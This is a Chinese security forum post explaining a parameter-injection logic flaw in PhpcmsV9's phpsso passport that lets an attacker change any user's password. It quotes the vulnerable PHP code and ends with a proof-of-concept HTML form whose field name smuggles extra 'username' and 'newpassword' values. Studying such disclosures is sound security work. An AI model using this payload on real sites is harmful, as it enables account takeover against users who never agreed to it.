找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2355|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
提到的通行证的代码:& M' K1 W4 o1 i: ]( T

: m7 o- G2 {- Q8 h$ f! h
( [; e" J9 n* o. e- x6 `& sparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);  y" x7 D$ o; L+ C+ h1 [5 O
( K1 N; _' q; e0 ~1 w
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。# O- q9 }; b* ?: I+ w; y, G

. ~5 q$ v- b$ y4 m7 `: ~8 h我把它留给了你们。; {3 \3 G: w$ N9 ]& V
不知道你们发现了它没有。
7 E* G+ V) T3 o
  Q* J4 ]& ?$ _% G8 A) G! z我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。9 C3 g  ^5 f, g9 t3 h, O

9 U" L8 _' ~, q3 @所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。# @- m2 I# N+ H
8 B- n/ Z. J" L. O% r! I( l' j
也就是
7 n; I. _: H  K0 P* {9 |# ^# [9 |  a  I/ T$ ]# z, W1 t- ~
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
$ r/ R! w1 q6 U
# V+ I- d. v! D3 R要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
/ G9 w/ E/ K1 _* m. }! D8 @$ j3 U
, i7 {7 K! A9 C) L3 l/ R) D1 r: g% d: o1 ]
其实我们有这样的机会,看看代码,如下:
( Z. }; v8 x, S+ W1 ~3 I1 G) ^$ r1 ]% x: y
4 P: ~2 b& z) S. D* P8 P0 a
public function auth_data($data) {
5 N) M, Q$ ]' j: ]                $s = $sep = '';
6 Z. Y- T+ p' Q" b2 C                foreach($data as $k => $v) {
2 @' n- ]6 w! b. a0 S                        if(is_array($v)) {" U/ K( W$ a# a, K. I/ K2 [
                                $s2 = $sep2 = '';
7 I0 f; p- b5 {. {0 h  T) R                                foreach($v as $k2 => $v2) {
" n& i; ?4 b) u                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
. ^2 v1 y' R8 v/ y  O                                        $sep2 = '&';
( R# N8 Y4 l( i6 h7 |* r3 {) E                                }( S" v! F% Y* `, Q1 i7 s2 j! ^
                                $s .= $sep.$s2;- c" [% ~; Y7 H  K. O. Y' D1 @) E
                        } else {
7 s5 d4 v. u' C; R9 S. Q                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
6 W0 Y9 c5 U) b+ V* J/ M( ?9 U                        }- B0 o) @# b6 d
                        $sep = '&';5 {) k3 `2 o% s( X+ Z) Q
                }
6 D; @- K6 H- d  P& t# K) K6 u  }7 o8 i1 K
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));; f, Q8 r4 A& [: R2 L( d
                return $auth_s;4 G% C2 P$ `% c, C$ q  |( t; D
        }
* x9 ?- j5 y+ \, r5 k
6 ]$ B5 w3 P7 p可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。1 F$ U$ a9 t9 w# Q# i- W
5 }/ i# |5 q) d7 t/ Q0 O
举个例子
$ ^3 G5 ]+ \" Y+ ?+ m# x
7 h/ W* N& D5 G$ J* f% n$ t/ m$a[aaa=a&bbb] = 'a';
! E1 y8 s' \# f! h0 {3 ~  ?7 i/ j5 x' w" ^2 |' `  w  `
会变成aaa=a&bbb=a
. _4 a. O, d& D3 g& ]; _8 y7 C2 s$ [  ~" }8 v* l, G
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。$ d/ W, y7 x7 e7 e

1 Y/ P. P: }8 ~/ r. ^$ r) `; L& Y这个时候,我们可以再去看一个函数。
7 F" g( M% ?" n8 u( a% v, o8 ^3 q& D  W, ^9 c& w) U
就在这个文件内:+ X5 j  V0 _4 D- X
( L/ h4 s5 R; b+ O' _# U
8 L6 j: ]4 Z* E+ Y0 h9 ?0 c5 g
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {3 z; ]- R  f2 ~1 v9 i
                if($email && !$this->_is_email($email)) {
4 c& O0 [" d1 ~6 o) `                        return -4;
; Z# J- U# b6 t% C1 C                }
" f2 r& d2 g0 g0 {4 K                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));* p, M" M+ B, y$ ]" b; v
        }* X. c3 |0 G: y, [/ h: j
, B9 h% W! _$ f  Y$ f
这是向通行证发了这样一个请求。
$ G7 G! X9 {- R4 s
0 p7 r# K5 O/ @& N: Y- x我们再跟到通信证代码里去看看,就会有所发现。
& A4 s, F* ^+ b" O9 A
# E. A/ I& ]4 M8 K& c, U) P& b# M: w; _+ E" l
public function edit() {
. @0 W) P% o6 E7 r& R/ x3 i7 s' |//能省就省,太长了不是吗?
& t' |$ C+ x% J2 x" ~; o5 t* ^- G: f6 {0 C
if($this->username) {4 }8 u; y# G) O6 K) e6 u: i5 ~
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
* V* T. v7 u3 P$ D  y7 @                                $res = $this->db->update($data, array('username'=>$this->username));  B% S% g' V( v
                        } else {! ]& P) |, x7 v% p
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
$ E9 R8 n9 Y1 ]: G                                $res = $this->db->update($data, array('uid'=>$this->uid));4 a4 o9 A9 W% J& `4 W% h9 M5 I3 ]
                        }, J; ^7 K! [% ]' u/ l7 r

7 \) R' ]1 w. `- F- b8 n好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
/ p/ j) p1 E: |% j  i2 m, y
+ {3 N' D5 v' {/ ~+ J& ]# Dpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')* p8 x- x% }  x) }8 e

; s+ U# L7 B9 j, ]6 k很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
4 R  N% W! l) M6 o; e( z7 A# c! o( F" D
* d) F6 p2 K; ]8 n1 b2 }5 a5 W; ~我当然找到了:
+ ~2 M$ E/ j' Ephpcms9/phpcms/modules/member/index.php. k+ H8 ^* t$ N" c4 W" t* y2 C
& P/ ]# H0 c; D, N& a, n; G% [
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
8 o$ p# d$ p( {/ Q7 Z
$ y" f0 d5 y( z3 n; ]6 z! b4 X然后就没有然后了。+ O) G* {2 E) h2 j: J- M  A
- ~- d# B! z- E# a" d3 r
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">+ b5 W: o( i5 b: Q0 |
                                <table width="100%" cellspacing="0" class="table_form">
+ T2 H  G% M0 S& _( Z                                        <tr>
) f0 o/ P* j- Y                                                <th width="80">邮箱:</th>        
+ l8 V: U7 o( w2 L. ]+ O) l                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
3 x# J# L3 L9 U- J                                        </tr>) ^$ x, a1 z7 q+ _8 M
                                        <tr>
( q. S# k. B9 u. P% ?- Q! `7 n                                                <th width="80">原密码:</th>        1 ]/ o' j/ I( _0 \5 _
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>6 x0 {' m! b( }- b) x8 z% A
                                        </tr>( `$ Y) F* @/ [5 d# H9 k* K
                                        <tr>
7 @% j5 `9 F! c8 N" u                                                <th>新密码:</th>, a" k$ I- e( l4 W
                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>3 V$ K: t* u) U2 e) Z
                                        </tr>
+ D4 F$ T6 Z( }  @0 T6 ?1 O4 Q                                        <th></th>
, |! V* c$ {; J2 ^                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
' |$ R; k& Q% T  ]" {# g* w                                        </tr>/ ?7 y8 T; J5 b0 i  o0 Q
                                </table>, o9 v0 T: i- Z: s# O
" q; ~/ d/ A" x: ?8 m9 ^' Z
                                , B! x. [4 x% V: V7 z$ ^; g3 w8 C. L; I
                        </form>) U: u( x$ S' n" A" j$ L# ^
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表